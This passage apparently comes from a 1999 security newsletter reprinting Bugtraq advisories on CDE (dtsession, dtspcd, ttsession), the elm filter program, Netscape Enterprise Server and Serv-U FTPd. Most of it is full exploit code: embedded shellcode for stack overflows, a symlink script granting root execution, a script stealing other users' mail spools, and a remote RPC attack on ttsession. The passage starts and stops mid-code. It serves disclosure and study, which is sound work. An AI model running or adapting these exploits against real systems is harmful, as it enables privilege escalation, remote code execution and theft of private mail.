envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1);
strcpy(envp[0],"DISPLAY=");
strcat(envp[0],getenv("DISPLAY"));
envp[1] = NULL;
execve("/usr/dt/bin/dtaction",argp,envp);
}
********************************************************************************
#2, DTsession
Subject: Vulnerability in dtsession
To: BUGTRAQ@SECURITYFOCUS.COM
Hello,
I discovered the following security problem in dtsession (actually in
libtt.so), part of CDE:
Description
-----------
The session manager dtsession contains an overflow vulnerability when parsing
the environment variable TT_SESSION.
Impact
------
Due to the fact that dtsession is running setuid root and does not remove the
root privilege (at least as tested on Solaris), the overflow can lead to
local root compromise.
Workaround
----------
I'm not quite sure what all the reasons are for dtsession having the setuid
bit turned on. Removing the setuid bit would at least lead to failure of the
password checking when unlocking a screen (due to the shadow file being only
readable by root). For personal workstation use this might be acceptable.
Affected systems
----------------
dtsession is part of CDE which is used by multiple UNIX vendors (among others:
Sun, HP, Compaq (Digital), IBM, Novell, SCO)
It looks like most systems running CDE are vulnerable, although the only
systems I have checked were:
Solaris 7, 2.6, 2.5.1
Background
----------
The dtsession program performs session management for CDE. It does this in
cooperation with ToolTalk. The ToolTalk library parses an environment string
that informs it of an already running ttsession daemon. When parsing this
environment variable it fails to check the size before calling sscanf().
The environment variable looks like this:
TT_SESSION=01 18176 1289637086 1 0 1000 10.0.0.10 4
When a string larger than 280 bytes is used for the IP address (10.0.0.10), it
will overflow the stack.
Regards,
Job
---
Job de Haas job@itsx.com
ITSX bv http://www.itsx.com
-------8<-----------------------------------------------------------------
/*
* ovsession.c
* Job de Haas
* (C) ITSX BV 1999
*
* Some proof of concept code (== really ugly, barely working) at exploiting
* an overflow in libtt.so when parsing the TT_SESSION string.
* Only tested on a Solaris 2.6 sun4c sparc, with and without patch 105802-07
* based loosly on code by horizon <jmcdonal@unf.edu>
* Somehow the overflow is very sensitive to caching of the stack. To see that
* it really does work, run it in a debugger and set a break point in tt_open()
* when that is reached, set a breakpoint in sscanf and continue. When that is
* reached continue again and it will either crash or execute a shell.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/systeminfo.h>
#include <unistd.h>
#include <string.h>
#define BUF_LEN 280
char exploit[] =
"\220\33\100\15\202\20\40\27\221\323\100\15\220\33\100\17\
\220\2\40\10\320\43\277\370\224\2\40\11\332\52\277\377\
\332\43\277\374\220\33\140\1\202\20\40\6\221\323\100\15\
\220\33\100\15\202\20\40\51\221\323\100\15\320\3\277\370\
\222\43\240\10\224\43\240\4\202\20\40\73\221\323\100\15\
\232\33\100\15\232\33\100\15\232\33\100\15\232\33\100\15\
\232\33\100\15\232\33\100\15\232\33\100\15\232\33\100\15\
\177\377\377\344\232\33\100\15\57\142\151\156\57\153\163\150QQQ";
#if patched
#define got 0xef6d2be0
#else
#define got 0xef6d2f84
#endif
main()
{
char *argp[6], *envp[20];
char buf[3072];
char *ttsess;
char *display;
u_long *longp;
char data[512];
char padding[64];
char platform[256];
int pad=31;
int i;
memset(buf,0,3072);
memset(buf,'a',BUF_LEN);
longp = (unsigned long *)(buf+BUF_LEN);
/* %l0 - %l7 */
*longp++ = 0xdeadcafe;
*longp++ = 0xdeadcafe;
*longp++ = 0xdeadcafe;
*longp++ = 0xdeadcafe;
*longp++ = 0xdeadcafe;
*longp++ = 0xdeadcafe;
*longp++ = 0xdeadcafe;
*longp++ = 0xdeadcafe;
/* %i0 - %i7 */
*longp++ = 0xdeadcafe;
*longp++ = 0xefffff94; /* make sure %i1 can be used */
*longp++ = 0xdeadcafe;
*longp++ = got; /* also used before we get to the exploit */
*longp++ = 0xdeadcafe;
*longp++ = 0xdeadcafe;
*longp++ = 0xefffffb0; /* frame with some necessary values */
*longp++ = 0xeffffdd0; /* return into the exploit code */
longp=(unsigned long *)data;
*longp++=0xdeadbeef;
*longp++=0xdeadbeef;
*longp++=0xdeadbeef;
*longp++=0xdeadbeef;
*longp++=0xdeadbeef;
*longp++=0xffffffff;
*longp++=0xdeadbeef;
*longp++=0;
*longp++=0xefffffb4;
*longp++=0x01;
*longp++=0xef6dc154;
*longp++=0xeffffd26;
*longp++=0x00;
argp[0] = strdup("/usr/dt/bin/dtsession");
argp[1] = NULL;
if (!getenv("DISPLAY")) {
printf("forgot to set DISPLAY\n");
exit(1);
}
sysinfo(SI_PLATFORM,platform,256);
pad+=20-strlen(platform)-strlen(argp[0]);
for (i=0;i<pad;padding[i++]='C')
padding[i]=0;
/* create an enviroment size independent of the size of $DISPLAY */
display = malloc( 8 + strlen(getenv("DISPLAY")) + 1);
strcpy(display,"DISPLAY=");
strcat(display+8,getenv("DISPLAY"));
envp[0] = display;
envp[1] = malloc(60);
memset(envp[1], 0, 60);
memset(envp[1], 'a', 60 - strlen(envp[0]));
strncpy(envp[1],"W=",2);
/* put the exploit code in the env space (easy to locate) */
envp[2] = strdup(exploit);
/* create the overflow string */
ttsess = strdup("TT_SESSION=01 18176 1289637086 1 0 1000 %s 4");
envp[3] = malloc( strlen(ttsess) + strlen(buf));
sprintf(envp[3],ttsess,buf);
/* make it easier to debug, probably smarter ways to do this */
envp[4] = strdup("LD_BIND_NOW=1 ");
/* put some data in the environment to keep the code running after the
overflow, but before the return pointer is used. includes NULL ptrs */
envp[5]=(data);
envp[6]="";
envp[7]="";
envp[8]="";
envp[9]=&(data[32]);
envp[10]="";
envp[11]="";
envp[12]=&(data[39]);
envp[13]="";
envp[14]="";
envp[15]="\010";
envp[16]=padding;
envp[17]=NULL;
execve("/usr/dt/bin/dtsession",argp,envp);
}
********************************************************************************
#3, DTspcd, geez they really need to fix CDE huh?... - Ed
Subject: Vulnerability in dtspcd
To: BUGTRAQ@SECURITYFOCUS.COM
Hello,
I discovered the following security problem in dtspcd, part of CDE:
Description
-----------
The CDE subprocess daemon /usr/dt/bin/dtspcd contains an insufficient check
on client credentials.
Impact
------
The insufficient check can lead to a local root compromise.
Workaround
----------
Unknown.
Affected systems
----------------
The only systems I have checked were:
Solaris 7, 2.6, 2.5.1
However I strongly suspect most systems running CDE to be vulnerable.
Background
----------
The CDE subprocess daemon allows cross-platform invocation of applications. To
achieve this it is registered by inetd:
dtspc stream tcp nowait root /usr/dt/bin/dtspcd /usr/dt/bin/dtspcd
dtspc 6112/tcp # CDE subprocess
control
In order to authenticate the remote user, the daemon generates a filename
which is to be created by the client and then is verified by the daemon.
When verifying the created file, the daemon uses stat() instead of lstat()
and is subsequently vulnerable to a symlink attack. Further more the daemon
seems to allow empty usernames and then reverts to a publicly write-able
directory (/var/dt/tmp). I discovered this accidentally, but later read that
also unreadable home directories result in this behavior. The process can be
followed fairly well by setting the -log and -debug options on dtspcd (in
/etc/inetd.conf). It will create a log file in /var/dt/tmp/DTSPCD.log. This
will show information like:
--> REGISTER channel: 0, request: 4, length: 33, seq: 1 data: 4
Client protocol version is '1000'.: Mon Sep 13 10:32:33 1999
+++> Authentication file is '/var/dt/tmp/.SPC_AAA0RIUwK'.: Mon Sep 13 ..
Both these bugs can be combined to convince dtspcd it should execute an
action as root.
The script below performs all necessary actions on a Solaris host. It makes
use of the dtaction command of which the behavior is modified by pre-loading
a shared library with modified libc functions.
As a side note: Another thing I dislike is the way vendors sometimes
silently release patches (or didn't I watch closely enough?) In Solaris 2.6
a security problem in the linker was fixed which I never saw mentioned
anywhere. When specifying LD_PROFILE=libc.so.1 in the environment and
executing a setuid root program, a file /var/tmp/libc.so.1.profile is
created as root. This file is vulnerable to a symlink attack. To fix this
problem a recommended patch exists for Solaris 2.6.
Another feature of dtspcd, which was not obvious to me, is that it will
allow remote access to all systems that share NFS exported home directories
without requesting a password.
Regards,
Job
---
Job de Haas job@itsx.com
ITSX bv http://www.itsx.com
-------8<-----------------------------------------------------------------
#!/bin/sh
#
# dtspaced
# Demonstration of local root hole with dtspcd.
# Job de Haas
# (c) 1999 ITSX bv
#
# Mechanism is as follows:
# - dtaction requests the action 'Execute' through dtspcd.
# - dtscpd request a filename to be created which it will check for
# owner/suid bit.
# - BUG1: dtspcd allows creation in a public directory (with empty
# username).
# - BUG2: and forgets to check if the file is a symlink.
# - dtaction will create a symlink to a suid root binary and reply.
# - dtspcd considers dtaction authenticated and executes requested file
# as root.
#
# suggested fix: use lstat or refuse a symlink and why allow an empty
# username?
#
# exploit uses a shared lib to replace some functions to do what we want.
# Note that these are not used by dtspcd but by dtaction. The script executed
# by dtaction as root creates a file /tmp/root_was_here.
#
# tested on Solaris 2.5.1, 2.6 and 7
#
if [ -f /tmp/root_was_here -o -d /tmp/root_was_here ]; then
echo "/tmp/root_was_here already exists"
exit
fi
if [ "X$DISPLAY" = "X" ]; then
echo "need to set DISPLAY"
exit
fi
cat > /tmp/dtspaced.c << EOF
#include <pwd.h>
#define O_CREAT 0x100
#define O_RDONLY 0
#if __SunOS_5_5_1
#define open64 open
#define _open64 _open
#endif
open64(const char * filename, int flag, int mode)
{
if ((flag & O_CREAT) && ( strstr( filename, "SPC") )) {
symlink( "/usr/bin/passwd", filename);
filename = (char *)strdup("/tmp/shit");
unlink(filename);
}
return(_open64(filename, flag, mode));
}
chmod(const char * filename, int mode)
{
_chmod( filename, mode);
return(0);
}
struct passwd *getpwuid(uid_t uid)
{
struct passwd *pw;
pw = (struct passwd *)_getpwuid(uid);
pw->pw_name = (char *)strdup("");
return(pw);
}
EOF
cat > /tmp/doit << EOF
#!/bin/sh
unset LD_PRELOAD
/usr/bin/touch /tmp/root_was_here
EOF
chmod a+x /tmp/doit
mkdir /tmp/.dt
cat > /tmp/.dt/hack.dt << EOF
set DtDbVersion=1.0
ACTION Execute
{
LABEL Execute
TYPE COMMAND
WINDOW_TYPE NO_STDIO
EXEC_STRING \
"%(File)Arg_1"File To Execute:"%"
DESCRIPTION The Execute action runs a shell script or \
binary executable. It prompts for options and \
arguments, and then executes the script or \
executable in a terminal window.
}
EOF
DTDATABASESEARCHPATH=/tmp/.dt
export DTDATABASESEARCHPATH
# make a copy of dtaction so it is not suid root and will accept LD_PRELOAD
cp /usr/dt/bin/dtaction /tmp
echo "Compiling shared lib..."
cc -c /tmp/dtspaced.c -o /tmp/dtspaced.o
ld -G /tmp/dtspaced.o -o /tmp/dtspaced.so
LD_PRELOAD=/tmp/dtspaced.so
export LD_PRELOAD
echo "Executing dtaction..."
/tmp/dtaction -execHost 127.0.0.1 Execute /tmp/doit
unset LD_PRELOAD
/bin/rm -f /tmp/doit /tmp/dtaction /tmp/shit /tmp/dtspaced.*
/bin/rm -rf /tmp/.dt
if [ -f /tmp/root_was_here ]; then
echo "created file /tmp/root_was_here"
else
echo "exploit failed..."
fi
@HWA
51.0 elm filter program bug
~~~~~~~~~~~~~~~~~~~~~~
Subject: elm filter program
To: BUGTRAQ@SECURITYFOCUS.COM
Mark Ultor wrote:
> I've found a bug in filter on Elm 2.4 PL25. filter got SGID on mail group.
>
> sowatech:~$ filter -f `perl -e ' print "A" x 5000'`
> Segmentation fault
"filter" is inherently unsafe. A bug has been described in 1995 which
allows reading email of anybody on the system. The description can be
found in the BugTraq archives, I believe. I include the full message
below. While it was written in 1995, it still works with the filter
version of Elm 2.4ME+ PL35 (25) which is from 1997. (I don't know
whether there are any more recent elm versions.)
--Cornelius.
------cut here-------
filter (elm package) security hole
David J Meltzer (davem+@andrew.cmu.edu)
Tue, 26 Dec 1995 15:07:49 -0500
* Messages sorted by: [ date ][ thread ][ subject ][ author ]
* Previous message: Scott Chasin: "Happy Holidays"
The elm filter under linux runs sugrp mail, thus allowing it to freely
read and write from users mail spools. It is only through the integrity
of its code that the security of linux's mail system is protected; and in
this respect it falls short. The failure of the filter program to properly
handle temporary files allows a user to read or write to any user's mail
spool, a significant security hole.
The specific problem that is exploited in this hole is the way filter
uses a temporary file to store the input to it, and then subsequently send
it back out according to the filter. Because of the modularity of the
coding, in the main filter.c, the temporary file is opened, and then written
to; after which it is closed. The mailmessage function is then called, with
the purpose of forwarding that mail, written to the temporary file, to
whatever destination is specified in the filter. At the start of this
process, the temporary file is opened, and the contents of it are dumped
to the mail spool of the user the mail is being forwarded to.
At any point after the file has been initially opened by the main filter
function, since the user running filter has permissions on that temp file,
it can be rm'd. The temp file existing can then be replaced with a symbolic
link to any file that group mail has read permissions on. When it is opened
in the mailmessage function, the symbolic link is followed and whatever file
that was pointed to will be read in, and the contents forwarded to the user
specified in the mail spool.
The complete exploits are shown below:
Program: filter, an elm utility
Affected Operating Systems: linux - Slackware 3.0, others with sgid mail filter
Requirements: account on machine
Security Compromise: user can read any mail spool readable by grp mail.
(usually everything, sometimes not root)
Author: Dave M. (davem@cmu.edu)
Synopsis: filter writes out the mail to be forwarded to a
temporary file, which is then closed and reopened;
if when the temporary file is reopened it is a
symlink to a mail spool, filter will proceed
to forward the contents of that file as if it was
the original message.
------cut here-------
#!/bin/sh
# This shell script exploits a problem with filter(1L)
# it will follow symbolic links, on a read allowing
# us to steal a users mail file.
#
# Usage: fread.sh victimsusername
#
# Contents will be stored in ~/victimsusername.mail
#
# Dave M. (davem@cmu.edu)
#
cp /var/spool/mail/$LOGNAME ~
cp /dev/null /var/spool/mail/$LOGNAME
echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp
cat << _EOF_ >> /tmp/fread-msg.tmp
From: Dave
To: $LOGNAME
Subject: Filter Exploit
_EOF_
echo sleep 2 > /tmp/fread-sh.tmp
echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp
chmod +x /tmp/fread-sh.tmp
/tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp &
FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'`
rm -f /tmp/filter.$FREAD
ln -s /var/spool/mail/$1 /tmp/filter.$FREAD
sleep 2
rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp
/tmp/fread-ftr.tmp /tmp/filter.$FREAD
FREAD=
cp /var/spool/mail/$LOGNAME ~/$1.mail
cp ~/$LOGNAME /var/spool/mail
more ~/$1.mail
@HWA
52.0 Accept overflow on Netscape Enterprise Server 3.6 SP2
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From: Nobuo Miwa <n-miwa@LAC.CO.JP>
Subject: Accept overflow on Netscape Enterprise Server 3.6 SP2
Hi,
I found a vulnerability in "Enterprise 3.6 SP 2 SSL Handshake fix"..
I sent a malformed URL to the server and its service was dead.
Its URL is following...
GET / HTTP/1.0
Accept: aaaaaaaaaaaaaa...2000byte/gif
Ofcourse you must be able to execute small code you like with
"long Accept" command(just like htr problem on IIS).
I've reported this to Netscape on 31st Aug. They've just
finished making the patch(maybe SP3). It must be released soon.
I'm gonna post this to BUGTRAQ after they release the patch, but
someone posted it to some other mailing lists. So I decided
to post it to here today.
Thanks,
Nobuo Miwa(Moderator of BUGTRAQ-JP)
***********************************************************************************
Subject: Vulnerability in ttsession
To: BUGTRAQ@SECURITYFOCUS.COM
Hello,
I discovered the following security problem in ttsession, part of CDE:
Description
-----------
The ToolTalk session daemon ttsession does not properly check client
credentials.
Impact
------
The insufficient check can lead to compromise of a system from both local
and remote with the credentials of the user running ttsession. Note that
ttsession is not a system daemon and may not be running all the time. It is
normally started as part of an X-session. Also client programs of ttsession
may restart the daemon if it can not be found running.
Workaround
----------
This problem has only been detected when the ttsession daemon is running with
Unix RPC authentication flavor. This is the default. With options this can be
changed to, for example, secure-RPC (DES). With CDE it can be configured in
/usr/dt/bin/Xsession.
Affected systems
----------------
As far as I know, ttsession has been part of OpenWindows (SunOS 4.1.x and
Solaris), CDE (Solaris, AIX, HP, OSF/Digital, others?) and IRIX.
It looks like most systems running CDE are vulnerable, although the only
systems I have checked were:
Solaris 7, 2.6, 2.5.1
OSF v4.0
HP-UX B.10.20
AIX 2 4 000096754200
It is unknown what the status with respect to SunOS 4.1.x and SGI is.
Background
----------
The ttsession daemon is part of the ToolTalk toolkit and allows applications
to send messages to each other. This is achieved by RPC calls. The RPC calls
are not properly authenticated.
When sniffing a tt_open request to a remote host the following can be seen:
host1 -> host2 TCP D=33169 S=38194 Syn Seq=3510273898 Len=0
host2 -> host1 TCP D=38194 S=33169 Syn Ack=3510273899 Seq=914492820
host1 -> host2 TCP D=33169 S=38194 Ack=914492821 Seq=3510273899
host1 -> host2 RPC C XID=932526186 PROG=1289637086 VERS=4 PROC=0
host2 -> host1 TCP D=38194 S=33169 Ack=3510273971 Seq=914492821
host2 -> host1 RPC R (#4) XID=932526186 Success
host1 -> host2 RPC C XID=932526185 PROG=1289637086 VERS=4 PROC=400
host2 -> host1 TCP D=38194 S=33169 Ack=3510274043 Seq=914492849
host2 -> host1 RPC R (#7) XID=932526185 Success
host1 -> host2 RPC C XID=932526184 PROG=1289637086 VERS=4 PROC=18
host2 -> host1 RPC R (#10) XID=932526184 Success
host1 -> host2 RPC C XID=932526183 PROG=1289637086 VERS=4 PROC=11
host2 -> host1 RPC R (#12) XID=932526183 Success
host1 -> host2 TCP D=33169 S=38194 Ack=914493001 Seq=3510274267
host1 -> host2 TCP D=33169 S=38194 Fin Ack=914493001 Seq=3510274267
host2 -> host1 TCP D=38194 S=33169 Ack=3510274268 Seq=914493001
host2 -> host1 TCP D=38194 S=33169 Fin Ack=3510274268 Seq=914493001
host1 -> host2 TCP D=33169 S=38194 Ack=914493002 Seq=3510274268
This shows how first the NULL procedure of ttsession is called and next a
procedure with number 400. Then procedure 18 and 11 are called. The contents
of the reply to the PROC=400 call is something like:
host2 -> host1 RPC R (#7) XID=932526185 Success
0: 0800 0000 0000 0800 0000 0000 0800 4500 .. tUb.. .v...E.
16: 0078 b3ab 4000 ff06 a2bf 7f00 0001 7f00 .x..@...........
32: 0001 8191 9532 3682 0db1 d13a 87fb 5018 .....26....:..P.
48: 2238 427e 0000 8000 004c 3795 3869 0000 "8B~.....L7.8i..
64: 0001 0000 0000 0000 0000 0000 0000 0000 ................
80: 0000 0000 002d 5020 3031 2031 3831 3736 .....-P 01 18176
96: 2031 3238 3936 3337 3038 3620 3120 3020 1289637086 1 0
112: 3130 3030 2031 302e 302e 302e 3130 2034 1000 10.0.0.10 4
128: 0000 ..
This same string can be found in the environment of a shell started as part
of a CDE X-session (if it was started by ttsession):
TT_SESSION=01 18176 1289637086 1 0 1000 10.0.0.10 4
This is also described in the man page for ttession(1).
When this strings is looked at more closely, some aspects can be recognized.
The number 1289637086 for example is the RPC program number (Solaris 7). Also
the IP of the remote host can be seen (10.0.0.10). The number 18176 is the
PID of the ttsession process and 1000 is the uid of the user running
ttsession.
When playing around with the RPC call to retrieve this string from ttsession,
I discovered it doesn't need client credentials to match the user which is
running ttsession. Thus anyone can retrieve this string from a ttsession
daemon!
This combined with the discovery that the string is used by the tt_open call
to determine the remote ttsession to connect to leads to the exploit code
below. This code uses a message to invoke a dtpad on the host running
ttsession. By using some tricks, it makes sure the dtpad is displayed on
the requested DISPLAY.
Reason why the exploit may fail:
When a dtpad has been display on a X-server, it will keep a lock on that
server until the dtpad -server process on the remote host has been
terminated. Until that time no other dtpads from different hosts can be
displayed on that Xserver. Close the X session and log back in again and
try again.
Regards,
Job
---
Job de Haas job@itsx.com
ITSX bv http://www.itsx.com
-------8<-----------------------------------------------------------------
/*
* ttjamsession.c
* Job de Haas
* (c) ITSX bv 1999
*
* This is a simple ttsession exploit to show some problems with
* authentication of a remote user. The possibilities after authentication
* are not limited to starting dtpad, but rather any ptype as can be shown
* with tt_type_comp. On Solaris this includes dtterm.
*
* compile with:
* cc -L/usr/dt/lib -I/usr/dt/include -I/usr/openwin/include -ltt -lnsl
* ttjamsession.c -o ttjamsession
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <rpc/rpc.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <pwd.h>
#include <Tt/tt_c.h>
#include <Tt/tttk.h>
#define TTSESSION_PROG 1342177279
#define TTSESSION_PROG_SOL7 1289637086
#define TTSESSION_VERS 3
#define TTSESSION_GETSESSID 400
long rpcprog = TTSESSION_PROG;
int version = TTSESSION_VERS;
long uid = -1;
int use_env = 0;
int test = 0;
/*
* For some reason the string is not returned with xdr_wrapstring. After
* some fiddling this seems to work.
*
*/
xdr_mystring(xdrs, objp)
register XDR *xdrs;
char **objp;
{
int len;
if (!xdr_int(xdrs, &len)) {
return 0;
}
*objp = (char *)malloc(len + 1);
if (xdr_opaque(xdrs, (caddr_t)*objp, len)) {
(*objp)[len] = '\0';
} else { return 0; }
return(1);
}
/*
* This is some generated code by ttsnoop (nice program! at least on sol 2.6)
* It was modified a bit to get it to spawn the program on the correct display
*/
Tt_callback_action
process_Instantiate_reply( Tt_message msg, Tt_message pat );
Tt_message
create_Instantiate(
Tt_message context,
char *action
)
{
Tt_message msg;
msg = tttk_message_create( context, TT_REQUEST, TT_SESSION,
0, action,
(Tt_message_callback)process_Instantiate_reply );
tt_message_arg_add( msg, TT_IN, "data", "data");
tt_message_context_set( msg, "$DISPLAY", getenv("DISPLAY"));
tt_message_disposition_set( msg, TT_START);
tt_message_handler_ptype_set( msg, "DTPAD");
return msg;
}
static Tt_callback_action
process_Instantiate_reply(
Tt_message msg,
Tt_message pat
)
{
switch (tt_message_state(msg)) {
case TT_SENT: /* handler is in this process */
case TT_STARTED:/* intermediate state */
case TT_QUEUED: /* intermediate state */
default: /* unknown state */
return TT_CALLBACK_CONTINUE;
case TT_HANDLED:
/* ... */
break;
case TT_FAILED: {
int status;
char *string;
status = tt_message_status( msg );
string = tt_message_status_string( msg );
printf("message failed with: %s\n",string);
/* ... */
} break;
}
tt_message_destroy( msg );
return TT_CALLBACK_PROCESSED;
}
/*
* The routine to get the remote sessionid string.
*
*/
int
get_sessionid( remotehost, port)
char *remotehost;
ushort port;
{
struct sockaddr_in server_addr;
enum clnt_stat clnt_stat;
struct hostent *hp;
struct timeval timeout;
CLIENT *clnt;
int msock;
char *buf;
char *env;
char *hostname;
char localhost[MAXHOSTNAMELEN];
memset((char *)&server_addr, 0, sizeof (server_addr));
if (remotehost) {
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = inet_addr(remotehost);
if ( server_addr.sin_addr.s_addr == -1 ) {
if ((hp = gethostbyname(remotehost)) == NULL) {
printf("Can't resolve %s\n",remotehost);
exit(1);
}
memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length);
hostname = strdup( remotehost );
}
}
else {
if (gethostname(localhost, MAXHOSTNAMELEN)<0) {
perror("gethostname");
exit(1);
}
if (hp = gethostbyname(localhost)) {
memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length);
hostname = strdup( localhost );
} else {
server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
hostname = strdup( "127.0.0.1" );
}
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
msock = RPC_ANYSOCK;
timeout.tv_sec = 15;
timeout.tv_usec = 0;
if ( (clnt = (CLIENT *)clnttcp_create(&server_addr, rpcprog,
TTSESSION_VERS, &msock, 10000, 10000)) == NULL) {
clnt_pcreateerror("clnttcp_create");
exit(1);
}
/*
* apparently credentials are not checked!
*/
clnt->cl_auth = authunix_create(hostname, 0, 0, 0, NULL);
if ((clnt_stat = clnt_call(clnt, TTSESSION_GETSESSID,
(xdrproc_t) xdr_void, (caddr_t) 0,
(xdrproc_t) xdr_mystring, (caddr_t) &buf,
timeout)) != RPC_SUCCESS) {
clnt_perror(clnt, "get session");
return(-1);
}
/*
* put TT_SESSION in the environment for tt_open to use.
*/
env = malloc( strlen("TT_SESSION=") + strlen( buf+2 ) +1);
strcpy(env,"TT_SESSION=");
strcat(env,buf+2);
putenv( env );
printf("Session ID: %s\n", buf);
return(0);
}
usage(progname)
char *progname;
{
fprintf(stderr,
"Usage: %s [-p port] [-r rpc prognumber] [-u uid]\n", progname);
fprintf(stderr," [-7] [-t] [-e] hostname\n");
fprintf(stderr,"[-7] use Solaris 7 default ttsession program number\n");
fprintf(stderr,"[-t] test the RPC call but not send messages\n");
fprintf(stderr,"[-e] get TT_SESSION from environment (no RPC call)\n");
exit(-1);
}
int main(argc, argv)
int argc;
char **argv;
{
char *hostname = NULL;
struct in_addr addr;
extern int optind;
extern char *optarg;
short port = 0;
char c, *cp;
Tt_message context, msg;
char *procid;
while ((c = getopt(argc, argv, "u:p:r:7et")) != EOF) {
switch (c) {
case 'r':
rpcprog = atoi(optarg);
break;
case 'p':
port = atoi(optarg);
break;
case 'u':
uid = atoi(optarg);
break;
case '7':
rpcprog = TTSESSION_PROG_SOL7;
break;
case 'e':
use_env = 1;
break;
case 't':
test = 1;
break;
default:
usage(argv[0]);
}
}
if (optind < argc) {
hostname = strdup(argv[optind++]);
}
if (optind < argc) {
port = atoi(argv[optind++]);
}
if (optind < argc) {
usage(argv[0]);
}
/* setup the socket and test correct service */
if ( !use_env && (get_sessionid( hostname, port ) < 0 )) {
printf("Failed to properly connect to ttsession\n");
exit(1);
}
if (test) exit(0);
/*
* Open up the channel to ttsession. The code uses the TT_SESSION
* environment var to figure out how.
*/
if (((procid = tt_open()) == NULL) || (*procid == '\0')) {
perror("tt_open");
exit(1);
}
/*
* Now we can send messages... like instantiate a dtpad!
* Two messages are sent to cause a new dtpad -server to be started
* so that the dtpad will be displayed on our server even if the local
* user is also using dtpad. I use sleep cause I can't seem to trigger
* the callback.
*
*/
msg = create_Instantiate(context, NULL);
tt_message_send(msg);
sleep(10);
msg = create_Instantiate(context, "Instantiate");
tt_message_send(msg);
sleep(10);
/* no idea if I got to wait for the callback */
exit(0);
}
@HWA
53.0 Serv-U Ver2.5 FTPd Win9x/NT Exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Subject: Exploit: Serv-U Ver2.5 FTPd Win9x/NT
To: BUGTRAQ@SECURITYFOCUS.COM
Hi,
"Version 2.5a Released 5 May 1999
* Fixed bug introduced in v2.5 causing crashes with long paths in FTP
commands."
Upgrade is available at http://www.ftpserv-u.com/.
Original thread:
http://www.securityfocus.com/templates/archive.pike?list=1&date=1998-04-28&thread=3.0.5.32.19980430122137.008199a0@mail.smartlink.net
Max Vision
/*
FTP Serv-U Version 2.5 Exploit for Windows98
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#define BUFSIZE 9000
#define FTP_PORT 21
#define RETADR 164
#define CODEOFS 200
#define FSTACKOFS 174
#define JMPOFS 6
#define MAXUSER 100
#define MAXPASS 100
#define EIP 0xbff7a027
#define FAKESTACK 0x80050101
#define NOP 0x90
#define JMPS 0xeb
unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,0xBF,0xFF,
0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,
0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,
0xFF,0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.notepad.exe";
void sendcmd(int sockfd,char *packetbuf)
{
int i;
write(sockfd,packetbuf,strlen(packetbuf));
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
}
int main(int argc,char *argv[])
{
struct hostent *hs;
struct sockaddr_in cli;
char packetbuf[BUFSIZE+3000],buf[BUFSIZE];
char user[MAXUSER],pass[MAXPASS];
int sockfd,i,fakestack,ip,ebp,ins;
if (argc<2){
printf("usage\n %s HostName {[username] [password]}\n",argv[0]);
exit(1);
}else if (argc==4){
strncpy(user,argv[2],MAXUSER-1);
strncpy(pass,argv[3],MAXPASS-1);
user[MAXUSER-1]=0; pass[MAXPASS-1]=0;
}else{
strcpy(user,"anonymous");
strcpy(pass,"hoge@hohoho.com");
}
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_port = htons(FTP_PORT);
if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n");
exit(1);
}
cli.sin_family = hs->h_addrtype;
memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket"); exit(0);
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("connect"); exit(0);
}
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
strcat(exploit_code,cmdbuf);
memset(buf,NOP,BUFSIZE);
fakestack=FAKESTACK;
for (i=0;i<FSTACKOFS;i+=4){
buf[i ]=fakestack&0xff;
buf[i+1]=(fakestack>>8)&0xff;
buf[i+2]=(fakestack>>16)&0xff;
buf[i+3]=(fakestack>>24)&0xff;
}
ip=EIP;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
buf[RETADR+4]=JMPS;
buf[RETADR+5]=JMPOFS;
